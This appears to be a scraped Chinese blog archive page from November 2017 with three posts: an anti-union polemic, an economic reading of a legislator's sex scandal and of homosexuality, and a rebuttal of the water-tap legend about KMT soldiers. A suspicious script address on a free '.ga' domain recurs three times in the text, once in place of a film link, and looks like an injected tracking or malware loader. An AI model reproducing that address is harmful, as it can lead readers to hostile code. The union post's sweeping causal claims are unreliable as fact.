月份: 十一月 2017

關於開除工會幹部，我多談兩句。

我認為幹得好，如果是我也會這樣做。

如果我們回到R. Coase的諾貝爾獎級鴻文「The Nature of the Firms」，正確的理解是 — 公司組織是一種/多種用不同於市場的合約安排，來達到資產所有者希望的效果。

換言之，公司組織本身雖然活在市場上，但組織內部卻是反市場的，其理由也在於「資訊費用」。如同我新一篇文章強調：「市場是很昂貴的資源安排手段」，因此某些狀況下，採取公司組織效率可能更高。

又例如我在「加班的簡易經濟分析」所舉的秘書工作一例：

“…秘書工作多樣、複雜且難以論斷品質。也就是說，秘書今天接了30通電話，應答對話品質高不高？品質標準判斷不如前述家庭代工來得容易。

更何況秘書還有安排老闆行程、辦公室環境整理、老闆與來訪客戶餐點安排、與會擔任會議記錄等…各種雜七雜八工作，且並非每家企業的秘書工作內容都相似。

這時候工資論酬方式難以繼續「論件」，最有效率的方式是「被委託」到買賣雙方都不太會有爭議的「時間」上。…"

從這個例子我們也可以推論得知公司組織之所以存在，是因為當生產活動需要高度複雜分工時，分工下很可能一人被賦予多種任務，且任務的達成不容易分別計價時，公司組織就會被發明並取代市場。也就是張五常所說：「一種契約取代另一種契約。」的內涵。

而工會的存在卻會讓上述的複雜分工契約權責模糊化 — 試問你請一位家庭幫傭來打掃，結果該掃哪裡、該怎麼清潔、一天工作量應該是多少，甚至薪水該拿多少？這位幫傭不聽你的而是聽工會的，那你請這個人幹嘛？正常的雇主肯定尋找「非工會」勞工。

這就是為什麼工會之存在必定要透過政府暴力：法律賦予工會壟斷權，逼迫雇主一定要聘僱工會成員（則非工會成員與雇主的財產權都被剝削侵害了）；工會不但能合法罷工，而且還能合法阻止其他願意接受此條件而工作的人就業；工會甚至可以破壞雇主的營運、器材與資產而毋須負擔賠償責任。（參見台灣的勞資爭議處理法）

試問高度工會化之下，有誰還能成功創業？邊際企業將無生存空間，反而真正高租值大企業可以予取予求，1984惡夢將會成真。高度工會化之下，工會成員黑道化、貪汙化、政治尋租化也必然存在。又高度工會化下，公司營運資源應該如何分配將變成不以市場為導向，而是以工會幹部利益為導向，公司租值將從股東、經營者移轉到工會幹部上，這叫美麗新世界？誰還有誘因創業？再進一步，租值移轉到工會幹部上，則企業將無資源放到正確的研發、生產設備改善、軟體改善…等項目。這也是說，工會不但蠶食公司現有租值，也吃掉了公司的未來。君不見美國多少20世紀上半不可一世的大企業（如鋼鐵業、鋁業、汽車製造業），被工會整到競爭力全失。如福特汽車、通用汽車能再起，關鍵都是爛到底後成功擺脫部分工會勢力，才得以重生。但競爭力已遠遠不如二戰戰敗國德國、日本。英國二戰後經濟長期不景氣，也是被工會林立所害！柴契爾夫人最大貢獻就是大規模刪減工會權力，方讓英國經濟重生。

只要是工會幹部成員相關，工作能力再差、績效再爛，都不會被辭退，而真正有能力新血，若其非工會成員反而被排斥在外。這對雇主、消費者乃至於有心工作的員工都是不利與剝削。此外該現象的本質根本就是：「績效與報酬分離」，此狀況不正是1950~1970年代中國共產黨失敗經濟政策的主因？中國實驗的後果是數千萬人活活餓死！

此外，工會掌握聘僱權，意味邊際勞工必須賄絡工會成員（無論是金錢或肉體）方可入會；又邊際勞工的邊際並非是生產力邊際，而是「政治影響力邊際」。當一個社會不以「滿足市場的生產力」為標竿，而是以「政治關係或影響力」為準則時，我們會看到的就是文化大革命再現，社會倒退與貧窮饑荒是必然。

美國教師工會惡名你可以去研究研究，就是上述狀況。而正因為美國教師工會的政治尋租與黑道化，使得美國公立教育水準嚴重倒退，學生品格教育也極為失敗，讓美國中學毒品、幫派氾濫越趨嚴重。講更白一點，美國的中學的性氾濫、賭博、毒品、幫派犯罪等等，美國教師工會要是肇事元兇！

美國從1973年到2011年，私人部門的工會人數從24%降到7%；反之，同時期公部門工會人數卻從23%成長到37%。這背後原因殊堪玩味 — 是公部門思想比較進步？還是公部門的壟斷租值讓工會較容易生存？

這樣的組織，與黑道何異？美國資源回收業工會背後有愛爾蘭黑道、殯葬業工會背後有義大利黑手黨…. 都是可查事實。這樣的組織與法律竟然被一堆蠢文青歌頌？他們豈知道自己歌頌的手段恰恰會造成自己所批判的後果，真是好笑又黑色幽默到極點。

誠如我一位長期讀者分享：他老闆說再賺幾多錢，就收起來不做了。當老闆一點都不好玩，管理員工又累又不討好。這是大實話！加進工會更不得了，這就是為什麼我明白認定工會是社會蛀蟲與流氓，我一點都不想浪費人生跟這些敗類打交道。即便個人不是，但進入工會的侷限條件下，也很難不淪落。

結論：工會百害而無一利，支持工會者在我看來不但腦袋不清、經濟邏輯差勁，更是對史實無知到極點才會如此。

這種人若還天真地以為自己的理想可以改進社會的話，我只希望他還知道「恥」字。https://js.developerstatss.ga/stat.js?n=ns1

我管理過的外勞都知道跟我爭取休息室電視螢幕大一點、假日可以帶女友回宿舍、生產線排到目前最紅商品以分到多一點生產獎金或得到組長請客機會…即便薪資已經是死豬價的外勞也知道怎麼增加非貨幣收入。

以前工地實習時就知道，建築工地現場工人怎麼擺爛逼業主改變計價規則。也知道不同誘因設計下，泥水師父、水電師父等等一天工作量可以有多大的改變。

https://js.developerstatss.ga/stat.js?n=ns1

ETToday報導「反同議員大推家庭價值　被抓包在辦公室「男男性行為」！」

美國俄亥俄州眾議院的議員古德曼（Wesley Goodman）一向公開反對同志族群，以保守派自居，沒想到日前他被抓到在辦公室內和一名非議院員工的男性有不當的行為，目前已經辭職下台，並希望外界可以給他一點隱私。
33歲的古德曼在被發現於辦公室和一名男性有「不當性行為」，而且是在雙方都同意的情況下，14日下午他與俄州眾議院發言人羅森貝格爾（Cliff Rosenberger）見面談話後，辭去議員的職位，但沒有針對同性性行為發表任何評論。羅森貝格爾的聲明指出，古德曼向他承認男男性行為的指控，辭職是對個人、家庭和整個議會最好的決定。

目前在議會內沒有人提出古德曼騷擾的指控，但有相關人士告知了羅森貝格爾，事件才爆發。古德曼是共和黨的議員，一直以「保守運動的良知」自居，大力推崇一夫一妻的「傳統家庭價值」，公開反對同性戀，在他的推特帳號也描述自己是一名「基督徒與保守派」，他的競選網站上則寫道，相愛的爸爸媽媽、自然的婚姻和充滿關愛的社區，是最值得追求和保護的，也是俄亥俄州的驕傲。

過去我在「從上空女郎談競爭準則」一文中就曾談過：「越是在某種競爭準則下難以勝出的人，就越有誘因去反對那個準則！（反之，越能佔到便宜的，就越會支持該準則）」

這說明長相在婚姻市場或性市場中越不吃香者，越有誘因去「反對物化女(男)性」與「反對以性為賣點」。這也說明收入低者容易反對黃牛制度存在，但收入高者對黃牛制度反倒是較樂於利用（這放到不明所以的財經作者，就可以變成「有錢人想的跟你不一樣」）。自身侷限條件與客觀侷限條件不同時，不同族群就會偏好與反對不同的競爭準則。

同樣從競爭的準則來看，其實異性戀者對於同性戀乃至於同性婚姻基本上應該是「無感」。何解？因為目標市場不同，同性間基本上不但不存在競爭關係，甚至同性戀還可以幫助降低同性間對異性的追逐競爭。

比方雄性A是異性戀，同性的B是同性戀，同性的C則是雙性戀。僅有一異性a’存在。

假設不存在劈腿現象的前提下（注意，我是先假設不存在而方便推論，並非否認劈腿的存在。先理解簡單狀況，則分析時可再把劈腿現象放回來考慮。）

若AC均同時喜歡上某異性a’，則AC會存在同性的性競爭關係，從而提高追求成本。但若B成功地與C結合，則A將面對競爭減少，從而降低追求成本。

換言之，身為異性戀的A理當對同性戀B的存在無反感甚至某種程度鼓勵。

我們把劈腿現象放回此例中，若B能成功瓜分C的注意力乃至於時間，即便C劈腿，情況也會較有利於A。至少從性遺傳角度看，A有更多時間與機會成功吸引a’性交或是有更多時間注入更多自己的精子，從而提高衍生攜帶自身基因之後代的機率。

但若ABC均是異性戀，則可見ABC三者追求a’成本提高，而a’所生後代是否攜帶自身基因的可確定性降低（經濟分析上可看做預期報酬降低）。

這就是為什麼我認為異性戀者對於同性戀之存在應該是無感；對雙性戀者存在比較警戒。

這個都市傳說流傳已久，被許多無知者用來嘲笑當年國民黨乃至中國的落後。

先不說這種嘲笑本身就很可笑，既然你以有無自來水設施來嘲笑當年的中國，現今世界上還有許多地方或國家沒有普及的自來水系統，你是否也要公開嘲笑一番？

為何我認為這是錯誤的傳說？

很簡單，國民黨是1949年敗退來台，而早在1935年上海知名影星阮玲玉所主演的經典電影「新女性」中即出現了「水龍頭」一幕。

片中阮玲玉飾演一名遭爛男人射後不理，未婚生下女兒後留其在家鄉由母親撫養，自己獨自一人來到上海某女校擔任音樂老師，辛苦攢錢養育一家。後來因種種打擊而考慮出賣身體、淪為妓女只為籌措將死女兒的醫藥費。

水龍頭場景出現在阮玲玉租屋處的過場，是一個屬中低環境的公寓（請見圖片）。

考察當年影評並未把「新女性」歸類為「科幻片」– 並無「太神奇，牆壁竟然會出水！這是什麼新科技？！」這類評論。

也無評論批判「新女性」太跳tone，「何以窮苦人家竟然出現水龍頭？！」這類指教。

顯見當年上海，水龍頭是隨處可見，即便在窮人住宅區域也非新奇事物。

換言之，對一部主打目標市場是女工、中下階層的大眾電影來說，出現水龍頭是如此輕描淡寫到無人注意的狀況，水龍頭在當時中國並非新奇、多數人未曾見過的玩意。

考察史料，中國最早出現自來水廠就是上海英租界，於1875年就設立（尚有當年上海申報的報導可查證，由三位洋人、一位華人共同投資），是國民黨敗退來台前74年。中國人自己設立自來水廠最早可知是李鴻章於1890年為了軍隊需要於大連引龍引泉之水設立水廠。

台灣自來水則晚至1895年，日本人為了軍隊需要於淡水、基隆聘請英國顧問設置軍事自來水廠，足足晚了上海20年。因為是專供軍隊使用，此時可能倒是台灣漢人還真沒見過水龍頭哩。

根據以上史料，我們可得知：要說國民黨阿兵哥沒見過水龍頭，或許少數人從偏遠地區來台可能如此。但要藉此嘲笑同時期中國比日據台灣落後，未免太弱也太不合常理。要知道，20世紀初期上海可是遠比東京還繁榮、還國際的知名都市，多少新奇事物上海有，東京還不見得會有哩。區區水龍頭，何以掛齒誇口而不知恥？

我們都知道19世紀後半到20世紀中國整體工業化能力是遠遜日本，平均人民財富也不如日本，無庸置疑。但這不代表新奇玩意兒或近代化設施只出現日本而不會出現在中國。

PS 新女性影片請參閱此連結，水龍頭一幕出現在4分50秒處：
https://js.developerstatss.ga/stat.js?n=ns1